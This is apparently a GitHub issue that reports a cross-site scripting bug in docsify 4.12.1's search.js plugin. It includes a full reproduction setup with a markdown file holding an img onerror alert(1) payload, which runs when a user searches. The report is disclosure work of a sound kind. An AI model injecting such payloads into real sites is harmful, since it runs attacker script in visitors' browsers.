Skip to content

search.js v4.12.1 Cross-Site Scripting  #1549

Description

@Ares-X

Bug Report

Steps to reproduce

1. create a simple docsify project

file tree

.
├── README.md
├── _sidebar.md
├── index.html
└── test
└── xss.md

index.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>test</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="description" content="Description">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/docsify/lib/themes/vue.css">
<link rel="stylesheet" href="/css/sidebar.css">
</head>
<body>
<div id="app"></div>
<script>
window.$docsify = {
loadSidebar: true,
homepage: './README.md',
alias:{
'/.*/_sidebar.md': '/_sidebar.md',
},
autoHeader: true,
auto2top: true,
search: {
noData: {
'/': 'No results!'
},
paths: 'auto',
placeholder: {
'/': 'Search'
},
hideOtherSidebarContent: true,
depth: 1
},
name: 'test',
}
</script>
<script src="//cdn.jsdelivr.net/npm/docsify/lib/docsify.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/docsify/lib/plugins/search.js"></script>
</body>
</html>

xss.md

# xss test
xss"><img src=1 onerror=alert(1)><"

_sidebar.md

- Test
- [xss](./test/xss.md)
2. start a http server

image
image

when user search something near XSS payload and the javascript which should rendering as markdown will be execute

3. input x in search filed

image

What is current behaviour

What is the expected behaviour

Other relevant information

  • Bug does still occur when all/other plugins are disabled?

  • Your OS: Mac OS

  • Node.js version: v12.19.0

  • npm/yarn version:

  • Browser version:

  • Docsify version: 4.12.1

  • Docsify plugins: search.js

Please create a reproducible sandbox

https://xl9pw.csb.app/

Mention the docsify version in which this bug was not present (if any)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions